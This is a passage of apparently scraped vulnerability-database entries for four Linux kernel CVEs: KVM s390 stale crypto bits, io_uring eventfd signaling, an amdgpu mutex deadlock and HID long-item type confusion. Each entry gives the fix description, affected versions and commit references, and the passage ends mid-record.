}

    CVE-2026-80921 (GCVE-0-2026-80921)

    Vulnerability from nvd – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    KVM: s390: vsie: zero stale crypto bits
    Summary
    In the Linux kernel, the following vulnerability has been resolved: KVM: s390: vsie: zero stale crypto bits When shadowing crypto access bits from a format0 apcb (crycb 0 or 1), the bits 64..255 are unchanged from whatever is in the vsie page in the crycb and thus in the apcb. This gives a nested guest potential access to a device no longer available. Zero out the remaining bits.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < d110b3297f11ef227098b8a82ade2d5f123b7d2f (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 59d51550b5cb916bda037673a721a404b3b47a0d (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < f6079dca67eccb5eabef9f72437948c66dc5131f (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 087c19cc60a8caa1a08e1e434c8be2caf6c27733 (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 7d23489f51109e3ebba5b5db8c5f0185af7b7fdf (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 935eeba276012916c76243e5cbb843efd8fdb75d (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < d4bcd2df6d0d2af916b4fe1a533958778ea7c45b (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6 (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 34d5b5b646c91cfb9338d7a12c955a70ffb8c66b (git)
    		Create a notification for this product.
    Linux Linux Affected: 4.20
    Unaffected: 0 , < 4.20 (semver)
    Unaffected: 5.10.269 , ≤ 5.10.* (semver)
    Unaffected: 5.15.220 , ≤ 5.15.* (semver)
    Unaffected: 6.1.187 , ≤ 6.1.* (semver)
    Unaffected: 6.6.156 , ≤ 6.6.* (semver)
    Unaffected: 6.12.108 , ≤ 6.12.* (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.13 , ≤ 7.1.* (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/s390/kvm/vsie.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d110b3297f11ef227098b8a82ade2d5f123b7d2f",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "59d51550b5cb916bda037673a721a404b3b47a0d",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "f6079dca67eccb5eabef9f72437948c66dc5131f",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "087c19cc60a8caa1a08e1e434c8be2caf6c27733",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "7d23489f51109e3ebba5b5db8c5f0185af7b7fdf",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "935eeba276012916c76243e5cbb843efd8fdb75d",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "d4bcd2df6d0d2af916b4fe1a533958778ea7c45b",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "34d5b5b646c91cfb9338d7a12c955a70ffb8c66b",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/s390/kvm/vsie.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.269",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.187",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.108",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.269",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.220",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.187",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.156",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.108",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.13",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: s390: vsie: zero stale crypto bits\n\nWhen shadowing crypto access bits from a format0 apcb (crycb 0 or 1),\nthe bits 64..255 are unchanged from whatever is in the vsie page in the\ncrycb and thus in the apcb. This gives a nested guest potential access\nto a device no longer available. Zero out the remaining bits."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:42.335Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d110b3297f11ef227098b8a82ade2d5f123b7d2f"
        },
        {
          "url": "https://git.kernel.org/stable/c/59d51550b5cb916bda037673a721a404b3b47a0d"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6079dca67eccb5eabef9f72437948c66dc5131f"
        },
        {
          "url": "https://git.kernel.org/stable/c/087c19cc60a8caa1a08e1e434c8be2caf6c27733"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d23489f51109e3ebba5b5db8c5f0185af7b7fdf"
        },
        {
          "url": "https://git.kernel.org/stable/c/935eeba276012916c76243e5cbb843efd8fdb75d"
        },
        {
          "url": "https://git.kernel.org/stable/c/d4bcd2df6d0d2af916b4fe1a533958778ea7c45b"
        },
        {
          "url": "https://git.kernel.org/stable/c/29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6"
        },
        {
          "url": "https://git.kernel.org/stable/c/34d5b5b646c91cfb9338d7a12c955a70ffb8c66b"
        }
      ],
      "title": "KVM: s390: vsie: zero stale crypto bits",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80921",
    "datePublished": "2026-09-09T16:19:42.335Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:19:42.335Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80920 (GCVE-0-2026-80920)

    Vulnerability from nvd – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    io_uring: defer eventfd signaling when queued from a wakeup handler
    Summary
    In the Linux kernel, the following vulnerability has been resolved: io_uring: defer eventfd signaling when queued from a wakeup handler io_req_local_work_add() signals the CQ ring eventfd inline when it is the one to push the first entry onto ->work_list. For DEFER_TASKRUN rings that add is frequently done from a waitqueue wakeup handler, where an arbitrary waitqueue lock is held. eventfd_signal_mask() only refuses to recurse when current->in_eventfd is set, but that bit is set by eventfd_signal_mask() itself. If the wake chain starts somewhere else, signal goes out inline and can feed back into epoll. Add IOU_F_TWQ_IN_WAKE, set it on the task_work add done from the three waitqueue callbacks, and use it to force io_eventfd_signal() down the existing call_rcu_hurry() deferral instead of signaling inline.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 21a091b970cdbcf3e8ff829234b51be6f9192766 , < e22f4494cc9487d326e5e3067f33dea7c1e442b2 (git)
    Affected: 21a091b970cdbcf3e8ff829234b51be6f9192766 , < b6bb334b0e9348887e3e55e1f494b0c3b8fbf59f (git)
    Affected: 21a091b970cdbcf3e8ff829234b51be6f9192766 , < 40b6ccf68731809ceb85c6e9f0f8f2ed61c7aa5a (git)
    Affected: 21a091b970cdbcf3e8ff829234b51be6f9192766 , < cd305ee3633a45fcf5f3a5d83f99f3cb77d87b6e (git)
    		Create a notification for this product.
    Linux Linux Affected: 6.1
    Unaffected: 0 , < 6.1 (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2.1 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/io_uring_types.h",
            "io_uring/eventfd.c",
            "io_uring/eventfd.h",
            "io_uring/futex.c",
            "io_uring/io_uring.c",
            "io_uring/poll.c",
            "io_uring/tw.c",
            "io_uring/waitid.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e22f4494cc9487d326e5e3067f33dea7c1e442b2",
              "status": "affected",
              "version": "21a091b970cdbcf3e8ff829234b51be6f9192766",
              "versionType": "git"
            },
            {
              "lessThan": "b6bb334b0e9348887e3e55e1f494b0c3b8fbf59f",
              "status": "affected",
              "version": "21a091b970cdbcf3e8ff829234b51be6f9192766",
              "versionType": "git"
            },
            {
              "lessThan": "40b6ccf68731809ceb85c6e9f0f8f2ed61c7aa5a",
              "status": "affected",
              "version": "21a091b970cdbcf3e8ff829234b51be6f9192766",
              "versionType": "git"
            },
            {
              "lessThan": "cd305ee3633a45fcf5f3a5d83f99f3cb77d87b6e",
              "status": "affected",
              "version": "21a091b970cdbcf3e8ff829234b51be6f9192766",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/io_uring_types.h",
            "io_uring/eventfd.c",
            "io_uring/eventfd.h",
            "io_uring/futex.c",
            "io_uring/io_uring.c",
            "io_uring/poll.c",
            "io_uring/tw.c",
            "io_uring/waitid.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.1"
            },
            {
              "lessThan": "6.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.1",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: defer eventfd signaling when queued from a wakeup handler\n\nio_req_local_work_add() signals the CQ ring eventfd inline when it is the\none to push the first entry onto -\u003ework_list. For DEFER_TASKRUN rings that\nadd is frequently done from a waitqueue wakeup handler, where an\narbitrary waitqueue lock is held.\n\neventfd_signal_mask() only refuses to recurse when current-\u003ein_eventfd\nis set, but that bit is set by eventfd_signal_mask() itself. If the wake\nchain starts somewhere else, signal goes out inline and can feed back\ninto epoll.\n\nAdd IOU_F_TWQ_IN_WAKE, set it on the task_work add done from the three\nwaitqueue callbacks, and use it to force io_eventfd_signal() down the\nexisting call_rcu_hurry() deferral instead of signaling inline."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:17.023Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e22f4494cc9487d326e5e3067f33dea7c1e442b2"
        },
        {
          "url": "https://git.kernel.org/stable/c/b6bb334b0e9348887e3e55e1f494b0c3b8fbf59f"
        },
        {
          "url": "https://git.kernel.org/stable/c/40b6ccf68731809ceb85c6e9f0f8f2ed61c7aa5a"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd305ee3633a45fcf5f3a5d83f99f3cb77d87b6e"
        }
      ],
      "title": "io_uring: defer eventfd signaling when queued from a wakeup handler",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80920",
    "datePublished": "2026-09-09T16:13:17.023Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:17.023Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80919 (GCVE-0-2026-80919)

    Vulnerability from nvd – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format
    Summary
    In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format When dumping IB contents from a hung job, amdgpu_devcoredump_format() acquired the VM root PD's reservation via amdgpu_vm_lock_by_pasid() and then, for each IB, called amdgpu_bo_reserve() on the BO backing the IB. Both reservations are reservation_ww_class_mutex objects and neither used a ww_acquire_ctx, which trips lockdep: WARNING: possible recursive locking detected -------------------------------------------- kworker/u128:0 is trying to acquire lock: ffff88838b16e1f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] but task is already holding lock: ffff8882f82681f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] Possible unsafe locking scenario: CPU0 ---- lock(reservation_ww_class_mutex); lock(reservation_ww_class_mutex); *** DEADLOCK *** May be due to missing lock nesting notation Workqueue: events_unbound amdgpu_devcoredump_deferred_work [amdgpu] Call Trace: __ww_mutex_lock.constprop.0 ww_mutex_lock amdgpu_bo_reserve amdgpu_devcoredump_format+0x1594 [amdgpu] amdgpu_devcoredump_deferred_work+0xea [amdgpu] The two reservations are on different BOs in the captured trace, so the splat is a lockdep-correctness warning, not an observed deadlock. It becomes a real self-deadlock whenever the IB BO shares its dma_resv with the root PD (the always-valid case, see amdgpu_vm_is_bo_always_valid()): amdgpu_bo_reserve(abo) re-acquires the same ww_mutex without a ticket and blocks forever. With amdgpu.gpu_recovery=0 the timeout handler refires every ~2 s and each invocation produces this splat, drowning the kernel ring buffer. Now that amdgpu_vm_lock_by_pasid() takes a drm_exec context, move the IB dumping into a separate helper that locks the root PD and every IB BO together in a single drm_exec ticket. DRM_EXEC_IGNORE_DUPLICATES handles IB BOs that share a dma_resv (e.g. always-valid BOs, or two IBs backed by the same BO). Every lock is now a top-level acquire under one ww_acquire_ctx, so the recursive ww_mutex condition is gone, and the per-IB amdgpu_bo_reserve()/amdgpu_bo_unref() dance -- including a BO refcount leak on the amdgpu_bo_reserve() failure path -- is removed. (cherry picked from commit d6bf4242731219ee08ce54c365631e395486651e)
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 7b15fc2d1f1a00fb99f0146e404ff2600999ec74 , < 4e9b4dee0777ec9c835a4746e2d30382dd9d1044 (git)
    Affected: 7b15fc2d1f1a00fb99f0146e404ff2600999ec74 , < 7152b248dc3c8d5fa8629e99ed5655dd41b51562 (git)
    		Create a notification for this product.
    Linux Linux Affected: 7.1
    Unaffected: 0 , < 7.1 (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/amdgpu/amdgpu_dev_coredump.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4e9b4dee0777ec9c835a4746e2d30382dd9d1044",
              "status": "affected",
              "version": "7b15fc2d1f1a00fb99f0146e404ff2600999ec74",
              "versionType": "git"
            },
            {
              "lessThan": "7152b248dc3c8d5fa8629e99ed5655dd41b51562",
              "status": "affected",
              "version": "7b15fc2d1f1a00fb99f0146e404ff2600999ec74",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/amdgpu/amdgpu_dev_coredump.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "7.1"
            },
            {
              "lessThan": "7.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "7.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "7.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format\n\nWhen dumping IB contents from a hung job, amdgpu_devcoredump_format()\nacquired the VM root PD\u0027s reservation via amdgpu_vm_lock_by_pasid() and\nthen, for each IB, called amdgpu_bo_reserve() on the BO backing the IB.\nBoth reservations are reservation_ww_class_mutex objects and neither\nused a ww_acquire_ctx, which trips lockdep:\n\n  WARNING: possible recursive locking detected\n  --------------------------------------------\n  kworker/u128:0 is trying to acquire lock:\n  ffff88838b16e1f0 (reservation_ww_class_mutex){+.+.}-{4:4},\n    at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu]\n\n  but task is already holding lock:\n  ffff8882f82681f0 (reservation_ww_class_mutex){+.+.}-{4:4},\n    at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu]\n\n   Possible unsafe locking scenario:\n         CPU0\n         ----\n    lock(reservation_ww_class_mutex);\n    lock(reservation_ww_class_mutex);\n\n   *** DEADLOCK ***\n   May be due to missing lock nesting notation\n\n  Workqueue: events_unbound amdgpu_devcoredump_deferred_work [amdgpu]\n  Call Trace:\n   __ww_mutex_lock.constprop.0\n   ww_mutex_lock\n   amdgpu_bo_reserve\n   amdgpu_devcoredump_format+0x1594 [amdgpu]\n   amdgpu_devcoredump_deferred_work+0xea [amdgpu]\n\nThe two reservations are on different BOs in the captured trace, so the\nsplat is a lockdep-correctness warning, not an observed deadlock. It\nbecomes a real self-deadlock whenever the IB BO shares its dma_resv with\nthe root PD (the always-valid case, see amdgpu_vm_is_bo_always_valid()):\namdgpu_bo_reserve(abo) re-acquires the same ww_mutex without a ticket\nand blocks forever. With amdgpu.gpu_recovery=0 the timeout handler\nrefires every ~2 s and each invocation produces this splat, drowning the\nkernel ring buffer.\n\nNow that amdgpu_vm_lock_by_pasid() takes a drm_exec context, move the IB\ndumping into a separate helper that locks the root PD and every IB BO\ntogether in a single drm_exec ticket. DRM_EXEC_IGNORE_DUPLICATES handles\nIB BOs that share a dma_resv (e.g. always-valid BOs, or two IBs backed\nby the same BO). Every lock is now a top-level acquire under one\nww_acquire_ctx, so the recursive ww_mutex condition is gone, and the\nper-IB amdgpu_bo_reserve()/amdgpu_bo_unref() dance -- including a BO\nrefcount leak on the amdgpu_bo_reserve() failure path -- is removed.\n\n(cherry picked from commit d6bf4242731219ee08ce54c365631e395486651e)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:16.415Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4e9b4dee0777ec9c835a4746e2d30382dd9d1044"
        },
        {
          "url": "https://git.kernel.org/stable/c/7152b248dc3c8d5fa8629e99ed5655dd41b51562"
        }
      ],
      "title": "drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80919",
    "datePublished": "2026-09-09T16:13:16.415Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:16.415Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80918 (GCVE-0-2026-80918)

    Vulnerability from nvd – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    HID: core: fix number/pointer type confusion on long items
    Summary
    In the Linux kernel, the following vulnerability has been resolved: HID: core: fix number/pointer type confusion on long items When fetch_item() is called by hid_scan_report() on an item with HID_ITEM_TAG_LONG, it stores a pointer to the item data in item->data.longdata instead of storing a value directly in item->data.{u8/u16/u32}. When item_udata() or item_sdata() encounters such an item, it incorrectly assumes that the item is in short format, and therefore returns the lower part of a kernel pointer reinterpreted as a number. When a HID device is connected whose descriptor contains a HID_GLOBAL_ITEM_TAG_REPORT_SIZE encoded in long format with size=4, this causes the lower half of a kernel pointer to be printed into dmesg as a number, like this: hid (null): invalid report_size 107953555 To fix it, let item_udata() and item_sdata() verify that the item is in short format. Note that this bug only affects hid_scan_report(), while the main parsing pass hid_parse_collections() will always bail out when encountering a long item. Sidenote: There are currently no users of data.longdata; maybe we should just remove any parsing of long-format descriptors as a follow-up.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < bed7fe3a936b6bdd84671385951397ca673cf6e7 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < aec2c2ec87d4ec1f098979f68cd81b29f031c8cb (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < 634f498ea5d5e8e01f8d9414d4f45eeaf9ee1996 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < abec577de5fc16cd5caae42f97cdcd0983c06d66 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < dd8035dec26e98204d6e4a6e0cee5c4d329b3d7e (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < 1fa1591efd417e39e5e164bebea8ca7a3837c469 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < e60159f5ea60254a5c3de4ea4f2f939f0171031b (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < e542edada3f79387c0ac2a528cebf01f4ef47df8 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < 28abce951343fcec26e397610868efa4e1395c3f (git)
    		Create a notification for this product.
    Linux Linux Affected: 3.12
    Unaffected: 0 , < 3.12 (semver)
    Unaffected: 5.10.267 , ≤ 5.10.* (semver)
    Unaffected: 5.15.218 , ≤ 5.15.* (semver)
    Unaffected: 6.1.185 , ≤ 6.1.* (semver)
    Unaffected: 6.6.154 , ≤ 6.6.* (semver)
    Unaffected: 6.12.106 , ≤ 6.12.* (semver)
    Unaffected: 6.18.47 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2.1 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bed7fe3a936b6bdd84671385951397ca673cf6e7",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "aec2c2ec87d4ec1f098979f68cd81b29f031c8cb",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "634f498ea5d5e8e01f8d9414d4f45eeaf9ee1996",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "abec577de5fc16cd5caae42f97cdcd0983c06d66",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
